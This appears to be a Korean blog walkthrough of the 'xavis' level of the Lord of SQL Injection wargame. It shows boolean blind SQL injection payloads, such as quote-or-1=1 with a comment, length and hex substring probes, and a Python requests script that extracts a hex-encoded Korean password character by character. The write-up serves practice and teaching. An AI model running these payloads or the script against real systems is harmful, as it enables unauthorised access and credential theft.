ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> xavis
    Wargame/Lord of SQL Injection 2021. 11. 20. 15:23

    xavis

    전달받은 pw에 prob, _, ., (), regex, like를 필터링한다.

     

    문제를 해결하기 위해서는 pw의 값이 참이면서, 전달받은 pw와 쿼리 결과의 pw의 값이 같아야 한다.

    우선, 기본적인 SQL Injection 구문인 ?pw=' or 1=1%23을 입력하면

    "Hello admin"을 출력한다.

     

    ?pw=' or 1=2%23을 입력하면

    아무것도 출력하지 않는다.

     

    "Hello admin"으로 참과 거짓을 구분할 수 있으므로 Blind SQL Injection 공격을 수행할 수 있다.

     

    pw의 길이를 확인하기 위해

    ?pw=' or length(pw)=12%23을 입력하면

    ?pw=' or ord(substring(pw,1,1))=47%23의 형태로, 한 글자씩 보았지만

    "Hello admin"이 나오는 글자를 찾지 못했다.

     

    ?pw=' or ord(substring(pw,1,1))>122%23를 통해

    pw가 알파벳 대소문자가 아닌 다른 문자로 이루어져 있다는 것을 알 수 있다. 

    계속해서 찾아보면

    ?pw=' or ord(substring(pw,1,1))=50864%23을 입력하면

    chr(50864)는 한글 '우'를 나타낸다. 즉, pw는 한글로 이뤄져 있었기에 앞에서 찾을 수 없었다.

     

    pw의 한 자리값의 크기를

    ?pw=' or length(substring(pw,1,1))=4%23을 통해

    pw의 한 글자가 4byte의 크기를 가진다는 것을 알 수 있다.

     

    한글은 알파벳에 비해 범위가 넓고, 한 글자의 크기가 4byte이므로 16진수를 이용해 찾을 수 있다.

     

    16진수로 변환한 pw의 길이를 찾을 수 있다.

    ?pw=' or length(hex(pw))=24%23를 통해 16진수로 이루어진 pw의 길이는 24인 것을 알 수 있다.

    이제 24자리 16진수의 첫 번째 자리수를 찾기위해

    ?pw=' or substring(hex(pw),1,1)='0'%23을 입력하면

    24자리 중 첫 번째 수가 0인 것을 확인할 수 있다.

    그럼 이 쿼리 문과 파이썬 코드를 이용해 나머지 23자리도 구할 수 있다.

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "<h2>Hello admin</h2>"
    hex_pw = ""
    hex_data = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
    
    for i in range(1, 25):
        for j in hex_data:
            url = baseurl + "?pw=' or substring(hex(pw),{},1)='{}'%23".format(i,j)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str in res.text:
                hex_pw += j
                break
    
    print("hex_pw : ", hex_pw)

     

    맨 처음 ?pw=' or length(pw)=12%23를 통해 문자열 길이가 12이고, 한 글자의 크기가 4byte이므로 pw는 3자리라는 것을 알 수 있다.

    "0000c6b00000c6550000ad73"를 3자리씩 끊어 십진수로 변환하면

    0000c6b0 0000c655 0000ad73
    50864 50773 44403

    이 십진수를 chr()을 통해 문자로 변환하면

    "우왕굳"이란 문자열을 출력한다. 이를 입력하면

    문제를 해결할 수 있다.

Designed by Tistory.